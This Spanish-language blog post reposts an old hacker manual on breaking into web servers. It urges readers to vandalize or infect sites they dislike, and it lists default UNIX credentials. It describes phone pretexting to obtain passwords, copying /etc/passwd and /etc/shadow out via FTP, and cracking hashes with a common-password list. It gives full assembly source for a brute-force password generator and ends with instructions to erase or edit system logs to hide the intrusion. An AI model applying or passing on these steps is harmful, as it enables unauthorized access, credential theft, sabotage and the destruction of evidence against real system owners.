viernes, 15 de julio de 2022

Hackear Webs

 1. Introduccion

Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria  comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.

Primero  deberas  entender que andar por ahi  borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema  al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir  sistemas y borrar archivos le quitaras  el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que  se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus  (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.

2. Websites

Un website es solamente una computadora llamada servidor por su capacidad de de  realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.

  2.1 Ganando acceso a un servidor WWW

Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de  usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.

Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con  el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio.

Si lograste conseguir la dirección IP usa telnet para conectarse a esa dirección.  Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente esté protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.

Para  entrar  necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults.

 

   * CUENTAS DEFAULTS DE UNIX *


Login:                                Password:


root                                    root

root                                    system

sys                                     sys

sys                                     system

daemon                                  daemon

uucp                                    uucp

tty                                     tty

test                                    test

unix                                    unix

unix                                    test

bin                                     bin

adm                                     adm

adm                                     admin

admin                                   adm

admin                                   admin

sysman                                  sysman

sysman                                  sys

sysman                                  system

sysadmin                                sysadmin

sysadmin                                sys

sysadmin                                system

sysadmin                                admin

sysadmin                                adm

who                                     who

learn                                   learn

uuhost                                  uuhost

guest                                   guest

host                                    host

nuucp                                   nuucp

rje                                     rje

games                                   games

games                                   player

sysop                                   sysop

root                                    sysop

demo                                    demo

 


Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear  un programa que robe las claves de acceso del disco duro de una persona.

3. Cuando se esta adentro

Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc

Para obtener el archivo PASSWD usa el siguiente ejemplo:

($ simboliza el prompt UNIX)

$ ftp

FTP> get /etc/passwd

FTP> quit


Para ver el contenido de el archivo usa el siguiente comando:


$ cat /etc/passwd

 

Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion:


       usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell


usuario    - Este es el login de algun usuario.

contrase¤a - Es el password de el usuario (encriptada con DES)

ID         - Es la identificacion de ese usuario.

grupo      - El grupo al que pertenece esta cuenta.

descripcion- El nombre del usuario.

directorio - El directorio de acceso de el usuario.

shell      - El shell que procesa los comandos de ese usuario.


 Un ejemplo podria ser:


    john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john


Nombre de usuario: john

Password encriptado: 234abc56

Usuario numero: 9999

Numero de grupo: 13

Descripcion: John Johnson

Directorio de acceso: /home/dir/john

Shell: /bin/john

Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'.

Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root.  Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:


$cp /etc/shadow /usuarios/carlos/hack.txt

$ftp

FTP> get /usuarios/carlos/hack.txt

FTP> quit

$rd /usuarios/carlos/hack.txt


Ya tengo los passwords encriptados, ahora que?

Los passwords estan encriptados usando one-way encription, significa que  no se  pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.

Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada.

Algunos programas de este tipo son:

Nombre            Palabras por Segundo    Computadora

John the Ripper          5077                 586

Starcracker              1300                 586

Cracker Jack             1008                 586

KillerCracker             350                 586


Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html

Para conseguir listas de palabras haz FTP a el siguiente servidor:

warwick.ac.uk

directorio: /pub/cud

Algunas de las palabras mas usadas en contraseñas son:

 

      aaa            academia          ada            adrian

      aerobics       airplane          albany         albatros

      albert         alex              alexander      algebra

      alias          alisa             alpha          alphabet

      ama            amy               analog         anchor

      andy           andrea            animal         answer

      anything       arrow             arthur         ass

      asshole        athena            atmosphere     bacchus

      badass         bailey            banana         bandit

      banks          bass              batman         beautiful

      beauty         beaver            daniel         danny

      dave           deb               debbie         deborah

      december       desire            desperate      develop

      diet           digital           discovery      disney

      dog            drought           duncan         easy

      eatme          edges             edwin          egghead

      eileen         einstein          elephant       elizabeth

      ellen          emerald           engine         engineer

      enterprise     enzyme            euclid         evelyn

      extension      fairway           felicia        fender

      finite         format            god            hello

      idiot          jester            john           johnny

      joseph         joshua            judith         juggle

      julia          kathleen          kermit         kernel

      knight         lambda            larry          lazarus

      lee            leroy             lewis          light

      lisa           louis             love           lynne

      mac            macintosh         mack           maggot

      martin         marty             marvin         matt

      master         maurice           maximum        merlin

      mets           michael           michelle       mike

      minimum        nicki             nicole         rascal

      really         rebecca           remote         rick

      reagan         robot             robotics       rolex

      ronald         rose              rosebud        rosemary

      roses          ruben             rules          ruth

      sal            saxon             scheme         scott

      secret         sensor            serenity       sex

      shark          sharon            shit           shiva

      shuttle        simon             simple         singer

      single         singing           smile          smooch

      smother        snatch            snoopy         soap

      socrates       spit              spring         subway

      success        summer            super          support

      surfer         suzanne           tangerine      tape

      target         taylor            telephone      temptation

      tiger          tigger            toggle         tomato

      toyota         trivial           unhappy        unicorn

      unknown        urchin            utility        vicki

      virginia       warren            water          weenie

      whatnot        whitney           will           virgin

      william        winston           willie         wizard

      wonbat         yosemite          zap            whatnow

 

Obtuve algunas cuentas, ahora?

Para  poder  hacer  y  deshacer en el servidor necesitas el password  de  la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras  hacer  un ataque en bruto, es decir empezar desde  la  letra  A hasta la palabra zzzzzzzz

El  siguiente programa necesita ser compilado usando TASM y es una lista  de palabras TSR que no ocupa espacio en disco y puede ser modificada,  es ideal para ataques brutos a la cuenta r00t 

 

+++++++++++++++++++++++++++++++++++++++++++++

P A S S W O R D   E N G I N E  (for IBM PC's)                

+++++++++++++++++++++++++++++++++++++++++++++


Que tan practico es?

Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.

Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados.

Como empiezo a usar esta lista de palabras?

Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS

device=c:\hackdrv.sys

Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.

Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0


+++++++++++++++++++++++++++++++++++++++++++++

;Program HACKDRV.SYS

;

org 0h

next_dev dd -1

attribute dw 0c000h            ;character device w/ ioctl calls

strategy dw dev_strategy

interrupt dw dev_int

dev_name db 'HACKPWD '

countr dw offset number

number db 'aaaaaa',0ah         ;<---- 6 caracteres en minusculas (empiezo)

numsize equ $-number - 2

afternum:


;working space for device driver

rh_ofs dw ?

rh_seg dw ?


dev_strategy:               ;strategy routine

mov cs:rh_seg,es

mov cs:rh_ofs,bx

retf


dev_int:                    ;interrupt routine

pushf

push ds

push es

push ax

push bx

push cx

push dx

push di

push si


cld

push cs

pop ds


mov bx,cs:rh_seg

mov es,bx

mov bx,cs:rh_ofs


mov al,es:[bx]+2

rol al,1

mov di,offset cmdtab

xor ah,ah

add di,ax

jmp word ptr[di]

 


cmdtab:            ;command table

dw init        ;0

dw exit3       ;1

dw exit3       ;2

dw ioctl_read  ;3

dw do_read     ;4

dw exit3       ;5

dw exit3       ;6

dw exit3       ;7

dw exit3       ;8

dw exit3       ;9

dw exit3       ;10

dw exit3       ;11

dw ioctl_write ;12

dw exit3       ;13

dw 5 dup (offset exit3)


ioctl_read:

push es

push bx


mov si,es:[bx+10h]

mov di,es:[bx+0eh]

mov es,si


push cs

pop ds

mov si,offset number

xor cx,cx


get_char:

lodsb

stosb

inc cl

cmp al,0ah

jz ioctl_rend

jmp get_char


ioctl_rend:

pop bx

pop es

mov es:[bx+012h],cx

mov cs:countr,offset number

jmp exit2


ioctl_write:

push es

push bx

mov si,es:[bx+010h]

mov ds,si

mov si,es:[bx+0eh]

mov cx,numsize+1               ;es:[bx+012h]

push cs

pop es

mov di,offset number

repe movsb

pop es

pop bx

mov cs:countr,offset number

jmp exit2

 


do_read:

push es

push bx

 


push cs

pop ds


mov si,[countr]

inc si                      ;word ptr [countr]

cmp si,offset afternum

jnz is_okay

mov si,offset number

call inc_num

 


is_okay:

mov [countr],si

mov di,es:[bx]+0eh

mov ax,es:[bx]+010h

mov cx, es:[bx]+012h

jcxz clean_up

mov es,ax

repe movsb


clean_up:

pop bx

pop es

jmp exit2

 


exit3: mov es:word ptr 3[bx],08103h

jmp exit1


exit2:

mov es:word ptr 3[bx],0100h


exit1:

pop si

pop di

pop dx

pop cx

pop bx

pop ax

pop es

pop ds

popf

retf

exit:


inc_num proc near

 push si

 mov si,numsize


 reiterate:

  inc byte ptr [number+si]

  cmp byte ptr [number+si],'z'+1    ;+1 past ending char. in range

  jnz _exit

  mov byte ptr [number+si],'a'      ;starting char. in range

  dec si

  cmp si,-1

  jnz reiterate

  mov byte ptr [number],01ah        ;send EOF

 _exit:

  pop si

  ret

inc_num endp

 

 


at_eof:                        ; the non-resident code starts here


initial proc near

push es


push cs

pop ds


push cs

pop es


mov si,offset number

mov di,offset tmpnum

cld

_again:

lodsb

cmp al,0ah

jz _nomorechars

stosb

jmp _again


_nomorechars:

mov si,offset msgend

mov cx,4

repe movsb


mov ah,09             ;print welcome message

mov dx,offset msg1

int 21h


pop es

ret

initial endp


init: call initial

mov ax,offset at_eof

mov es:[bx]+0eh,ax

push cs

pop ax

mov es:[bx]+010h,ax

mov cs:word ptr cmdtab,offset exit3

jmp exit2

 


msg1    db "Incremental Password Generator (c)1995",0ah,0dh

        db "Written by Uncle Armpit",0ah,0dh,0ah,0dh

        db "Starting at word ["

tmpnum  db 10 dup (?)

msgend  db "]",0a,0d,'$'

;END hackdrv.sys

+++++++++++++++++++++++++++++++++++++++++++++

 Como limpiar tus huellas

Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos  como  logs, syslog, log,  o  cualquiera  que parezca  que  guarda un reporte  de  los accesos  y borralos  o mejor aun editalos usando  el  editor de archivos de UNIX.  Para ejecutar el editor usa el comando vi

Edita o borra los siguientes archivos: /etc/syslog

                                       /etc/log

                                       /etc/logs

Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.

No hay comentarios:

Publicar un comentario